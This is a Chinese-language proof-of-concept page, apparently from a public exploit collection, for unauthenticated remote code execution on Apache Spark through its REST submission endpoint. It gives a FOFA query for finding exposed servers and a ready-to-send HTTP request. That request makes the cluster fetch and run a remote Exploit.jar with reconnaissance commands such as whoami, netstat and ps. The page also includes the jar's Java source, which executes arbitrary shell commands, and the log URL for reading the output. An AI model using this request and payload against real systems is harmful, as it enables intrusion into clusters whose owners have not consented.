mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
104 lines
2.7 KiB
Markdown
104 lines
2.7 KiB
Markdown
# Apache Spark create 未授权访问漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动ACL（访问控制），我们将可以在集群中执行任意代码。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Apache Spark 3.1.2, 3.2.1, 3.3.0
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="APACHE-Spark-Jobs"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
主页面
|
||
|
||
|
||
|
||
发送请求包
|
||
|
||
```
|
||
POST /v1/submissions/create HTTP/1.1
|
||
Host: your-ip:6066
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||
Content-Type: application/json
|
||
Connection: close
|
||
Content-Length: 680
|
||
|
||
{
|
||
"action": "CreateSubmissionRequest",
|
||
"clientSparkVersion": "2.3.1",
|
||
"appArgs": [
|
||
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
|
||
],
|
||
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
|
||
"environmentVariables": {
|
||
"SPARK_ENV_LOADED": "1"
|
||
},
|
||
"mainClass": "Exploit",
|
||
"sparkProperties": {
|
||
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
|
||
"spark.driver.supervise": "false",
|
||
"spark.app.name": "Exploit",
|
||
"spark.eventLog.enabled": "true",
|
||
"spark.submit.deployMode": "cluster",
|
||
"spark.master": "spark://your-ip:6066"
|
||
}
|
||
}
|
||
# https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
|
||
# Github代码为编译后的代码
|
||
import java.io.BufferedReader;
|
||
import java.io.InputStreamReader;
|
||
|
||
public class Exploit {
|
||
public static void main(String[] args) throws Exception {
|
||
String[] cmds = args[0].split(",");
|
||
|
||
for (String cmd : cmds) {
|
||
System.out.println(cmd);
|
||
System.out.println(executeCommand(cmd.trim()));
|
||
System.out.println("==============================================");
|
||
}
|
||
}
|
||
|
||
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
|
||
private static String executeCommand(String command) {
|
||
StringBuilder output = new StringBuilder();
|
||
|
||
try {
|
||
Process p = Runtime.getRuntime().exec(command);
|
||
p.waitFor();
|
||
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||
|
||
String line;
|
||
while ((line = reader.readLine()) != null) {
|
||
output.append(line).append("\n");
|
||
}
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
|
||
return output.toString();
|
||
}
|
||
}
|
||
```
|
||
|
||
|
||
|
||
再访问获得的 submissionId Url查看结果
|
||
|
||
```
|
||
/logPage/?driverId={submissionId}&logType=stdout
|
||
```
|
||
|
||
 |